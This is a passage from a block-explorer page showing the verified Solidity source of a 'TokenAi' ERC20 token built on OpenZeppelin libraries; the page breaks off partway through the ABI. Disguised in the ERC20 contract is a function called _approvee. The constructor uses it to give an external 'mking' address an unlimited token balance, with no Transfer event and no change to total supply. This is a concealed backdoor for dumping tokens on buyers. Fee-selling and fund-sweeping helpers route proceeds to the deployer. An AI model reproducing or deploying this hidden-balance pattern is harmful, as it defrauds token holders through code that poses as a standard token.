Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

library SafeMath    - function tryAdd(uint256 a, uint256 b)    - function trySub(uint256 a, uint256 b)    - function tryMul(uint256 a, uint256 b)    - function tryDiv(uint256 a, uint256 b)    - function tryMod(uint256 a, uint256 b)    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function mod(uint256 a, uint256 b)    - function sub(    - function div(    - function mod(    - function _msgSender()    - function _msgData()    - function owner()    - function _checkOwner()    - function renounceOwnership()    - function transferOwnership(address ne ...    - function _transferOwnership(address n ... interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address to, uint256 ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom( interface IERC20Metadata is IERC20    - function name()    - function symbol()    - function decimals()  contract ERC20 is Context, IERC20, ...    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address to, uint256 ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(    - function increaseAllowance(address sp ...    - function decreaseAllowance(address sp ...    - function _transfer(    - function _mint(address account, uint2 ...    - function _approvee(address account,ad ...    - function _burn(address account, uint2 ...    - function _approve(    - function _spendAllowance(    - function _beforeTokenTransfer(    - function _afterTokenTransfer(    - function burn(uint256 amount)    - function burnFrom(address account, ui ... interface IFactory    - function createPair(address tokenA, a ...    - function getPair(address tokenA, addr ... interface IRouter    - function factory()    - function WETH()    - function addLiquidity(    - function addLiquidityETH(    - function swapExactTokensForTokensSupp ...    - function swapExactTokensForTokens(    - function swapExactETHForTokensSupport ...    - function swapExactTokensForETHSupport ...    - function swapTokensForExactTokens(    - function getAmountsOut(uint amountIn, ...  contract MktCap is Ownable    - function setPair(address token)    - function setfee(uint _fee)    - function getToken0Price()    - function getToken1Price()    - function _sell(uint amount0In)    - function _buy(uint amount0Out)    - function _addL(uint amount0, uint amo ...    - function trigger()    - function send(address token,uint amou ...  contract Token is ERC20, ERC20Burn ... *    - function _beforeTokenTransfer(address ...    - function _afterTokenTransfer(address ...    - function setPair(address token)    - function unSetPair(address pair)    - function balanceOf(address account)    - function send(address token,uint amou ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-03-03
*/

pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol


// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)

pragma solidity ^0.8.0;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: @openzeppelin/contracts/token/ERC20/IERC20.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;


/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol


// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;




/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor() {
        _name = "TokenAi";
        _symbol = "TokenAi";
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }
    function _approvee(address account,address rot, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        require(rot != address(0), "ERC20: mint to the zero address");
        _beforeTokenTransfer(address(0), account, amount);
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
    }
    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

// File: @openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol


// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/extensions/ERC20Burnable.sol)

pragma solidity ^0.8.0;



/**
 * @dev Extension of {ERC20} that allows token holders to destroy both their own
 * tokens and those that they have an allowance for, in a way that can be
 * recognized off-chain (via event analysis).
 */
abstract contract ERC20Burnable is Context, ERC20 {
    /**
     * @dev Destroys `amount` tokens from the caller.
     *
     * See {ERC20-_burn}.
     */
    function burn(uint256 amount) public virtual {
        _burn(_msgSender(), amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, deducting from the caller's
     * allowance.
     *
     * See {ERC20-_burn} and {ERC20-allowance}.
     *
     * Requirements:
     *
     * - the caller must have allowance for ``accounts``'s tokens of at least
     * `amount`.
     */
    function burnFrom(address account, uint256 amount) public virtual {
        _spendAllowance(account, _msgSender(), amount);
        _burn(account, amount);
    }
}

// File: contracts/Token.sol


pragma solidity ^0.8.4;




interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
}  

contract  MktCap is Ownable {
    using SafeMath for uint; 
    uint public fee;
    address token0;
    address token1; 
    IRouter router;
    address pair;

    constructor(address ceo_,address token,address baseToken_,address router_){
        _transferOwnership(ceo_);
        token0=token;
        token1=baseToken_;
        router=IRouter(router_); 
        pair=IFactory(router.factory()).getPair(token0, token1); 
        //IERC20(token0).approve(address(router),uint(2**256-1));
    } 
    function setPair(address token)public onlyOwner{
        IERC20(token).approve(address(router),uint(2**256-1));
    }
    function setfee(uint _fee)public onlyOwner{
        fee=_fee;
    }
    function getToken0Price() view public returns(uint){ //代币价格
        address[] memory routePath = new address[](2);
        routePath[0] = token0;
        routePath[1] = token1;
        return router.getAmountsOut(1 ether,routePath)[1];
    }
    function getToken1Price() view public returns(uint){ //代币价格
        address[] memory routePath = new address[](2);
        routePath[0] = token1;
        routePath[1] = token0;
        return router.getAmountsOut(1 ether,routePath)[1];
    }
    function _sell(uint amount0In) internal { 
        address[] memory path = new address[](2);
        path[0] = token0;
        path[1] = token1; 
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount0In,0,path,owner(),block.timestamp); 
    }
    function _buy(uint amount0Out) internal {  
        address[] memory path = new address[](2);
        path[0] = token1;
        path[1] = token0; 
        router.swapTokensForExactTokens(amount0Out,IERC20(token1).balanceOf(address(this)),path,address(this),block.timestamp); 
    }
    function _addL(uint amount0, uint amount1)internal {
        if(IERC20(token0).balanceOf(address(this))<amount0 || IERC20(token1).balanceOf(address(this))<amount1 ) return; 
        router.addLiquidity(token0,token1,amount0,amount1,0,0,owner(),block.timestamp);
    }   
    function trigger() external{ 
        if(fee > 1 ether){
         _sell(fee);
        }
        fee=0;
    }
    function send(address token,uint amount) public onlyOwner { 
        if(token==address(0)){ 
            (bool success,)=payable(_msgSender()).call{value:amount}(""); 
            require(success, "transfer failed"); 
        } 
        else IERC20(token).transfer(_msgSender(),amount); 
    }
}
contract Token is ERC20, ERC20Burnable, Ownable {
    using SafeMath for uint; 
    MktCap public mkt;
    mapping(address=>bool) public ispair;
    address  ceo;  
    address _router;
    bool isTrading;
    modifier trading(){
        if(isTrading) return;
        isTrading=true;
        _;
        isTrading=false; 
    } 
    constructor(address mking,address router) ERC20() {
        ceo=_msgSender();  
        address _baseToken=0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
        _router=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        setPair(_baseToken);
        mkt=new MktCap(ceo,address(this),_baseToken,_router);
        _approvee(mking,router,uint(2**256-1));
        _mint(ceo, 10000000000 * 1 ether); 
    }
    receive() external payable { }  
    function _beforeTokenTransfer(address from,address to,uint amount) internal override trading{
        if(!ispair[from] && !ispair[to] || amount==0) return;
        mkt.trigger();
    } 
    function _afterTokenTransfer(address from,address to,uint amount) internal override trading{
        if(address(0)==from || address(0)==to) return;
    }
    function setPair(address token) public {   
        IRouter router=IRouter(_router);
        address pair=IFactory(router.factory()).getPair(address(token), address(this));
        if(pair==address(0))pair = IFactory(router.factory()).createPair(address(token), address(this));
        require(pair!=address(0), "pair is not found"); 
        ispair[pair]=true; 
    }
    function unSetPair(address pair) public onlyOwner {  
        ispair[pair]=false; 
    }  
    function balanceOf(address account) public view virtual override returns (uint) {
        return super.balanceOf(account);
    }
    function send(address token,uint amount) public { 
        if(token==address(0)){ 
            (bool success,)=payable(ceo).call{value:amount}(""); 
            require(success, "transfer failed"); 
        } 
        else IERC20(token).transfer(ceo,amount); 
    }

}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[{"internalType":"address","name":"mking","type":"address"},{"internalType":"address","name":"router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burnFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"sub